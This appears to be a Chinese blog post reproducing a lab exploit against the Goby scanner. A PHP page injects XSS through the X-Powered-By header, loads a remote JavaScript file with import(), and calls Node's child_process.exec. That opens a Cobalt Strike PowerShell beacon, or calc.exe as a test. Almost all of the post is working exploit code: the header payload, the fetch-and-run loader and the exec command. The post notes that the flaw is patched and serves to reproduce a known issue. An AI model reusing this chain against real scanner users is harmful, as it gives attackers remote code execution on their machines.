反制Goby扫描之XSS点击上线
最近看到有大佬利用goby漏洞反制攻击者,特意复现下,原理就是通过XSS进行交互,调用Node.js函数exec执行命令,最新版本已经进行了修复,如果还在使用低版本还是尽快升级吧。
1.测试环境
- CS4.3
- goby-win-x64-1.8.255,Goby扫描器IP:192.168.0.195
- phpstudy2016,http服务:http://192.168.0.198:81/index.php
2.XSS测试
修改http服务器的X-Powered-By
,注意此处<img src=1 onerror=alert(1)>
标签中应该是tab,而非空格。
<?php
header("X-Powered-By: PHP/<img src=1 onerror=alert(1)>");
?>
<head>
<title>SEC TEST</title>
</head>
<body>
</body>
</html>
扫描之后结果如下:
点击即可触发XSS:
3.CS上线
利用require('child_process').exec()
函数进行命令执行,在以上的基础上:
服务器端代码如下:
<?php
header("X-Powered-By: PHP/<img src=1 onerror=import(unescape('http%3A//192.168.0.198:81/js/1.js'))>");
?>
<head>
<title>SEC TEST</title>
</head>
<body>
</body>
</html>
1.js
内容如下,执行内容为CS的powershell上线脚本:
(function(){
require('child_process').exec('powershell -nop -w hidden -encodedcommand JABXXXXXXXX......');
})();
可以先使用计算器进行测试。
(function(){require('child_process').exec('calc.exe');})();
踩坑:
- js函数要设置void的话就无返回值,程序运行不起来的。
- goby存在缓存,改动JS后建议删掉goby重新跑一遍。
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。